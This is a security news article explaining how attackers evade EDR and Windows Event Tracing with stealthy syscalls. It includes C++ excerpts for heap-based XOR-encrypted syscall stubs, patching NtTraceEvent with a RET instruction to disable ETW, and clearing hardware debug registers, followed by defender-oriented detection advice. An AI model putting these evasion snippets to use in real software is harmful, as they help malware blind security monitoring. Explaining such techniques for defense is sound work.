Hackers Use Stealth Syscalls to Bypass EDR and Event Tracing

Researchers recently uncovered that the attackers are deploying advanced techniques to evade even the most secured security environments.

The latest trend? Using stealthy, obfuscated system calls (syscalls) to bypass Endpoint Detection and Response (EDR) solutions and neutralize logging mechanisms like Event Tracing for Windows (ETW).

How Defenders Monitor Syscalls

System calls are the low-level bridge between software running in user mode and the Windows kernel. Security technologies such as EDR, ETW, Sysmon, and debuggers (x64dbg, WinDbg) rely on tracking these calls and their origins to identify potential threats.

Traditional detection hinges on several mechanisms:

• Call Stack Tracing: Revealing which function initiated the syscall (e.g., legitimate ntdll.dll code, or suspicious shellcode).
• Event Logging: ETW and Sysmon log direct syscalls and unusual call sequences for further analysis.
• API Hooking: EDR tools can intercept or block syscalls, especially those observed outside normal usage.

A normal call stack for system memory modification might look like:

textkernel32.dll → ntdll.dll → syscall

Any deviation—such as a call originating from an unknown region—raises immediate red flags.

Stealth Syscall Techniques: Evasion in Action

Heap-Based Encrypted Syscalls:

Goal: Conceal direct syscall execution by embedding encrypted syscall stubs in dynamically allocated heap memory, only decrypting them at runtime.

How it works:

• The syscall number is resolved at runtime from ntdll.dll, making static detection harder.
• The actual syscall stub is XOR-encrypted in memory.
• Right before execution, the stub is decrypted and invoked from heap memory not from a DLL.
• Once executed, the allocated memory is wiped clean.

Code Excerpt:

cpp// XOR Encryption/Decryption
void XORCipher(BYTE* data, SIZE_T size, BYTE key) {
    for (SIZE_T i = 0; i < size; ++i) data[i] ^= key;
}

// Heap-based encrypted syscall execution
void HeapEncryptedSyscall() {
    ULONG syscallNumber = GetSyscallNumber("NtProtectVirtualMemory");

    BYTE stub[] = {
        0x4C, 0x8B, 0xD1, // mov r10, rcx
        0xB8, 0,0,0,0,    // mov eax, syscallNumber
        0x0F, 0x05,       // syscall
        0xC3              // ret
    };
    *(ULONG*)(stub + 4) = syscallNumber;

    BYTE key = 0x5A;
    XORCipher(stub, sizeof(stub), key); // Encrypt

    void* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(stub));
    memcpy(execMem, stub, sizeof(stub));
    XORCipher((BYTE*)execMem, sizeof(stub), key); // Decrypt before execution

    ((NTSTATUS(NTAPI*)(HANDLE, PVOID*, SIZE_T*, ULONG, PULONG))execMem)(
        GetCurrentProcess(), &baseAddr, &regionSize, PAGE_EXECUTE_READWRITE, &oldProt
    );

    HeapFree(GetProcessHeap(), 0, execMem);
}

Impact: EDR and memory scanners have a much tougher time finding these syscalls due to their runtime-only, encrypted nature.

Disabling and Spoofing Monitoring Mechanisms

a. ETW and Sysmon API Hooking

Adversaries patch or overwrite ETW APIs such as NtTraceEvent (e.g., replacing it with a RET instruction). This prevents Event Tracing from logging suspicious events, cutting off a key alert source for defenders.

Code Example:

cppvoid DisableETW() {
    void* ntTraceEvent = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");
    SIZE_T sz = 1;
    ULONG oldProt;

    HeapSyscall("NtProtectVirtualMemory", GetCurrentProcess(), &ntTraceEvent, &sz, PAGE_EXECUTE_READWRITE, &oldProt);
    *(BYTE*)ntTraceEvent = 0xC3;  // Patch with RET
}

b. Hardware Breakpoint Spoofing:

By clearing debug registers, attackers make it nearly impossible for debuggers to set or detect execution breakpoints.

cppvoid HardwareBreakpointSpoofing() {
    CONTEXT ctx = {};
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    HANDLE hThread = GetCurrentThread();
    GetThreadContext(hThread, &ctx);
    ctx.Dr0 = ctx.Dr1 = ctx.Dr2 = ctx.Dr3 = ctx.Dr7 = 0;
    SetThreadContext(hThread, &ctx);
}

c. Stack Spoofing with VEH

Vectored Exception Handlers (VEH) can be used to trick security products and forensic tools by altering the apparent call stack, making malicious syscalls appear legitimate by spoofing their origin.

Real-World Impact & Detection Challenges

These advanced techniques, observed in malware families like Lumma Stealer and APT41 implants, represent a significant evolution in attacker tradecraft. With heap-allocated execution, runtime syscall encryption, hardware breakpoint clearing, VEH-based stack spoofing, and ETW patching, attackers can:

• Execute malicious payloads almost invisibly.
• Evade not only static analysis but also dynamic and memory forensics.
• Operate under the nose of well-resourced blue teams.

For defenders, it’s clear that relying solely on traditional hooks or ETW logging is increasingly risky. Proactive memory analysis (e.g., YARA rules for encrypted syscall stubs), heuristic-based monitoring, and hardware-assisted tracing are now essential components of effective defense.

Stealth syscalls and anti-forensic tricks have become the new standard for advanced attackers. Security teams must continuously adapt, leveraging next-generation detection and response techniques to keep pace with these evolving threats.